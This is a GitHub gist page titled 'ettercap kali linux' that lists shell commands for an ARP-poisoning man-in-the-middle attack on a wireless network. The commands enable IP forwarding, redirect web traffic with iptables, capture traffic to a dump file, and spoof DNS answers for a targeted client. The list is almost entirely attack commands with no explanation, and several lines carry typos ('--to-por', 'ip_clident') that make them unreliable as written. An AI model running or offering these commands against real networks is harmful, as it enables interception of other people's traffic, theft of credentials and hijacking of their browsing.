Last active
July 11, 2017 06:33
-
-
Save boy3vil/d1b63745fca86d2c010d to your computer and use it in GitHub Desktop.
ettercap kali linux
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| locate etter.dns | |
| service apache2 start | |
| echo 1 > /proc/sys/net/ipv4/ip_forward | |
| iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-por 10000 | |
| ettercap -T -q -w dump -i wlan0 -M ARP // // output: | |
| ettercap -T -q -i wlan0 -P dns_spoof -M arp // // | |
| ettercap -T -Q -M arp -P dns_spoof /ip_clident/ // | |
| iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 90 -j REDIRECT --to-port 2727 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment